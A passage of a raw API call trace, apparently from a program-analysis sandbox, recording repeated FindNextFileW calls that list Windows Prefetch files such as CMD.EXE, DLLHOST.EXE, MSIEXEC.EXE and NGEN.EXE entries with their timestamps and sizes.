ftCreationTime.dwLowDateTime=0xd09d79e0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xd09d79e0, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0xd09d79e0, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x5d0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLRGC.EXE-0E2CAA18.pf", cAlternateFileName="CLRGCE~1.PF")) returned 1 [0077.746] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb3f15470, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0xb3f15470, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0xb3fad9f0, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x1c26, dwReserved0=0x0, dwReserved1=0x0, cFileName="CMD.EXE-89305D47.pf", cAlternateFileName="CMDEXE~1.PF")) returned 1 [0077.746] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcfc01a00, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xcfc01a00, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x3e0341a0, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x427a, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONHOST.EXE-3218E401.pf", cAlternateFileName="CONHOS~1.PF")) returned 1 [0077.746] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x195afcc0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x195afcc0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x42559460, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x159de, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONSENT.EXE-65F6206D.pf", cAlternateFileName="CONSEN~1.PF")) returned 1 [0077.746] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc2fb0, ftCreationTime.dwHighDateTime=0x1d706af, ftLastAccessTime.dwLowDateTime=0x2bfc2fb0, ftLastAccessTime.dwHighDateTime=0x1d706af, ftLastWriteTime.dwLowDateTime=0x2bfc2fb0, ftLastWriteTime.dwHighDateTime=0x1d706af, nFileSizeHigh=0x0, nFileSizeLow=0x1e9f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DISM.EXE-12241E5C.pf", cAlternateFileName="DISMEX~1.PF")) returned 1 [0077.746] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc2fb0, ftCreationTime.dwHighDateTime=0x1d706af, ftLastAccessTime.dwLowDateTime=0x2bfc2fb0, ftLastAccessTime.dwHighDateTime=0x1d706af, ftLastWriteTime.dwLowDateTime=0x2bfc2fb0, ftLastWriteTime.dwHighDateTime=0x1d706af, nFileSizeHigh=0x0, nFileSizeLow=0x9480, dwReserved0=0x0, dwReserved1=0x0, cFileName="DISMHOST.EXE-8648056F.pf", cAlternateFileName="DISMHO~1.PF")) returned 1 [0077.746] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x10fd2440, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x10fd2440, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x669e2a70, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x95ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="DLLHOST.EXE-71214090.pf", cAlternateFileName="DLLHOS~2.PF")) returned 1 [0077.747] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1c4a25a0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x1c4a25a0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x43c8eae0, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x4e14, dwReserved0=0x0, dwReserved1=0x0, cFileName="DLLHOST.EXE-893DDF55.pf", cAlternateFileName="DLLHOS~3.PF")) returned 1 [0077.747] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x793ed470, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x793ed470, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x9132e1a0, ftLastWriteTime.dwHighDateTime=0x1d99d00, nFileSizeHigh=0x0, nFileSizeLow=0x9d4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DLLHOST.EXE-C5C55E89.pf", cAlternateFileName="DLLHOS~4.PF")) returned 1 [0077.747] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc6888c0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0xc6888c0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x42842e60, ftLastWriteTime.dwHighDateTime=0x1d99d00, nFileSizeHigh=0x0, nFileSizeLow=0x1de54, dwReserved0=0x0, dwReserved1=0x0, cFileName="DLLHOST.EXE-FF915DF9.pf", cAlternateFileName="DLLHOS~1.PF")) returned 1 [0077.747] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcad51230, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0xcad51230, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0xcad51230, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0xc84e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DOTNETFX35.EXE-1554F942.pf", cAlternateFileName="DOTNET~3.PF")) returned 1 [0077.747] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbad96570, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0xbad96570, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0xbad96570, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0xc95e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DOTNETFX35.EXE-C04FF00E.pf", cAlternateFileName="DOTNET~1.PF")) returned 1 [0077.747] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd159b610, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0xd159b610, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0xd159b610, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0xf022, dwReserved0=0x0, dwReserved1=0x0, cFileName="DOTNETFX35SETUP.EXE-13E3A95F.pf", cAlternateFileName="DOTNET~4.PF")) returned 1 [0077.747] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc1333090, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0xc1333090, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0xc1333090, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0xbdf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DOTNETFX35SETUP.EXE-C5FA4EBA.pf", cAlternateFileName="DOTNET~2.PF")) returned 1 [0077.747] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xdb391db0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0xdb391db0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0xdb391db0, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x117d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DOTNETFX40_FULL_X86_X64.EXE-845CD036.pf", cAlternateFileName="DOF27C~1.PF")) returned 1 [0077.747] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x51faf8b0, ftCreationTime.dwHighDateTime=0x1d706ad, ftLastAccessTime.dwLowDateTime=0x51faf8b0, ftLastAccessTime.dwHighDateTime=0x1d706ad, ftLastWriteTime.dwLowDateTime=0x51faf8b0, ftLastWriteTime.dwHighDateTime=0x1d706ad, nFileSizeHigh=0x0, nFileSizeLow=0x13854, dwReserved0=0x0, dwReserved1=0x0, cFileName="DOTNETFX45_FULL_X86_X64.EXE-441C18E0.pf", cAlternateFileName="DO0253~1.PF")) returned 1 [0077.747] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc49083e0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xc49083e0, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x61e9b2b0, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0xda16, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRVINST.EXE-5F8E77CD.pf", cAlternateFileName="DRVINS~1.PF")) returned 1 [0077.747] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4855da80, ftCreationTime.dwHighDateTime=0x1d706aa, ftLastAccessTime.dwLowDateTime=0x4855da80, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe2fde070, ftLastWriteTime.dwHighDateTime=0x1d99d00, nFileSizeHigh=0x0, nFileSizeLow=0x19110, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPLORER.EXE-7A3328DA.pf", cAlternateFileName="EXPLOR~1.PF")) returned 1 [0077.747] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb3f3b5d0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0xb3f3b5d0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0xb3fd3b50, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x210c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FINDSTR.EXE-4176B665.pf", cAlternateFileName="FINDST~1.PF")) returned 1 [0077.748] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a10d5d0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x5a10d5d0, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x5a10d5d0, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x6ca6, dwReserved0=0x0, dwReserved1=0x0, cFileName="INSTALL.EXE-C2040246.pf", cAlternateFileName="INSTAL~2.PF")) returned 1 [0077.748] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4cf77110, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x4cf77110, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x4cf77110, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x6902, dwReserved0=0x0, dwReserved1=0x0, cFileName="INSTALL.EXE-CF69F74C.pf", cAlternateFileName="INSTAL~1.PF")) returned 1 [0077.748] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfbf8c870, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0xfbf8c870, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x50cdd0b0, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x4dce, dwReserved0=0x0, dwReserved1=0x0, cFileName="LODCTR.EXE-57BF086F.pf", cAlternateFileName="LODCTR~2.PF")) returned 1 [0077.748] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfbece190, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0xfbece190, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0xd6b82ef0, ftLastWriteTime.dwHighDateTime=0x1d706ae, nFileSizeHigh=0x0, nFileSizeLow=0x6656, dwReserved0=0x0, dwReserved1=0x0, cFileName="LODCTR.EXE-8DBE540B.pf", cAlternateFileName="LODCTR~1.PF")) returned 1 [0077.748] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8d35aa60, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x8d35aa60, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x4deab500, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x1bffc, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOGONUI.EXE-1BEE4A84.pf", cAlternateFileName="LOGONU~1.PF")) returned 1 [0077.748] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd502f0a0, ftCreationTime.dwHighDateTime=0x1d706b2, ftLastAccessTime.dwLowDateTime=0xd502f0a0, ftLastAccessTime.dwHighDateTime=0x1d706b2, ftLastWriteTime.dwLowDateTime=0xd502f0a0, ftLastWriteTime.dwHighDateTime=0x1d706b2, nFileSizeHigh=0x0, nFileSizeLow=0x65e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MAINTAIN_VM_NATIVE_64.EXE-7FA3E396.pf", cAlternateFileName="MAINTA~1.PF")) returned 1 [0077.748] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc2fb0, ftCreationTime.dwHighDateTime=0x1d706af, ftLastAccessTime.dwLowDateTime=0x2bfc2fb0, ftLastAccessTime.dwHighDateTime=0x1d706af, ftLastWriteTime.dwLowDateTime=0x2bfc2fb0, ftLastWriteTime.dwHighDateTime=0x1d706af, nFileSizeHigh=0x0, nFileSizeLow=0x3a96, dwReserved0=0x0, dwReserved1=0x0, cFileName="MAKECAB.EXE-21F14B27.pf", cAlternateFileName="MAKECA~1.PF")) returned 1 [0077.748] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xff392b00, ftCreationTime.dwHighDateTime=0x1d706a8, ftLastAccessTime.dwLowDateTime=0xff392b00, ftLastAccessTime.dwHighDateTime=0x1d706a8, ftLastWriteTime.dwLowDateTime=0x3d609d60, ftLastWriteTime.dwHighDateTime=0x1d99d0a, nFileSizeHigh=0x0, nFileSizeLow=0x706e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MOBSYNC.EXE-D8BC6ED2.pf", cAlternateFileName="MOBSYN~1.PF")) returned 1 [0077.748] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe021590, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0xfe021590, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0xd75a0c70, ftLastWriteTime.dwHighDateTime=0x1d706ae, nFileSizeHigh=0x0, nFileSizeLow=0x7840, dwReserved0=0x0, dwReserved1=0x0, cFileName="MOFCOMP.EXE-3BA58127.pf", cAlternateFileName="MOFCOM~2.PF")) returned 1 [0077.748] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfce47090, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0xfce47090, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x64dea7f0, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x7968, dwReserved0=0x0, dwReserved1=0x0, cFileName="MOFCOMP.EXE-CDA1E783.pf", cAlternateFileName="MOFCOM~1.PF")) returned 1 [0077.748] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1d206160, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x1d206160, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x5f5160, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x26e5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCORSVW.EXE-657DC389.pf", cAlternateFileName="MSCORS~2.PF")) returned 1 [0077.748] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcff3e10, ftCreationTime.dwHighDateTime=0x1d706ad, ftLastAccessTime.dwLowDateTime=0xcff3e10, ftLastAccessTime.dwHighDateTime=0x1d706ad, ftLastWriteTime.dwLowDateTime=0x65a8fcd0, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x1b108, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCORSVW.EXE-98F0699A.pf", cAlternateFileName="MSCORS~3.PF")) returned 1 [0077.748] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1c240fa0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x1c240fa0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x724488a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x28be4, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCORSVW.EXE-C735E247.pf", cAlternateFileName="MSCORS~1.PF")) returned 1 [0077.748] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1ae84710, ftCreationTime.dwHighDateTime=0x1d706ad, ftLastAccessTime.dwLowDateTime=0x1ae84710, ftLastAccessTime.dwHighDateTime=0x1d706ad, ftLastWriteTime.dwLowDateTime=0x6e93c370, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x1cada, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCORSVW.EXE-FAA88858.pf", cAlternateFileName="MSCORS~4.PF")) returned 1 [0077.749] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb87c360, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0xb87c360, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0xf811ef10, ftLastWriteTime.dwHighDateTime=0x1d99d00, nFileSizeHigh=0x0, nFileSizeLow=0x381a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSIEXEC.EXE-B5AFA339.pf", cAlternateFileName="MSIEXE~1.PF")) returned 1 [0077.749] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1e85abd0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x1e85abd0, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x9d93410, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0xcbea, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSIEXEC.EXE-F3744DFD.pf", cAlternateFileName="MSIEXE~2.PF")) returned 1 [0077.749] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd7472d90, ftCreationTime.dwHighDateTime=0x1d706ad, ftLastAccessTime.dwLowDateTime=0xd7472d90, ftLastAccessTime.dwHighDateTime=0x1d706ad, ftLastWriteTime.dwLowDateTime=0xd8a77910, ftLastWriteTime.dwHighDateTime=0x1d706ad, nFileSizeHigh=0x0, nFileSizeLow=0x4788, dwReserved0=0x0, dwReserved1=0x0, cFileName="NDP46-KB3045557-X86-X64-ALLOS-F69CF85E.pf", cAlternateFileName="NDP46-~1.PF")) returned 1 [0077.749] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8f7c2910, ftCreationTime.dwHighDateTime=0x1d706ae, ftLastAccessTime.dwLowDateTime=0x8f7c2910, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0x8f7c2910, ftLastWriteTime.dwHighDateTime=0x1d706ae, nFileSizeHigh=0x0, nFileSizeLow=0x5088, dwReserved0=0x0, dwReserved1=0x0, cFileName="NDP48-X86-X64-ALLOS-ENU.EXE-05777697.pf", cAlternateFileName="NDP48-~1.PF")) returned 1 [0077.749] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x631e36c0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x631e36c0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x631e36c0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x2ab8, dwReserved0=0x0, dwReserved1=0x0, cFileName="NET.EXE-1DF3A2F6.pf", cAlternateFileName="NETEXE~1.PF")) returned 1 [0077.749] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x631e36c0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x631e36c0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x631e36c0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x2caa, dwReserved0=0x0, dwReserved1=0x0, cFileName="NET1.EXE-B8A8247B.pf", cAlternateFileName="NET1EX~1.PF")) returned 1 [0077.749] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd04eec80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xd04eec80, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0xd061f780, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0xc028, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETSH.EXE-3DD790C5.pf", cAlternateFileName="NETSHE~1.PF")) returned 1 [0077.749] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbe729990, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0xbe729990, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0xd5a30ff0, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x3c86, dwReserved0=0x0, dwReserved1=0x0, cFileName="NGEN.EXE-3A240585.pf", cAlternateFileName="NGENEX~2.PF")) returned 1 [0077.749] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x19a48c10, ftCreationTime.dwHighDateTime=0x1d706ad, ftLastAccessTime.dwLowDateTime=0x19a48c10, ftLastAccessTime.dwHighDateTime=0x1d706ad, ftLastWriteTime.dwLowDateTime=0x9e37cd80, ftLastWriteTime.dwHighDateTime=0x1d99d09, nFileSizeHigh=0x0, nFileSizeLow=0x67b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="NGEN.EXE-8DF18334.pf", cAlternateFileName="NGENEX~4.PF")) returned 1 [0077.749] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbdeaeb30, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0xbdeaeb30, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0xd594c7b0, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x42a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NGEN.EXE-DEAF5A03.pf", cAlternateFileName="NGENEX~1.PF")) returned 1 [0077.749] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74c1330, ftCreationTime.dwHighDateTime=0x1d706ad, 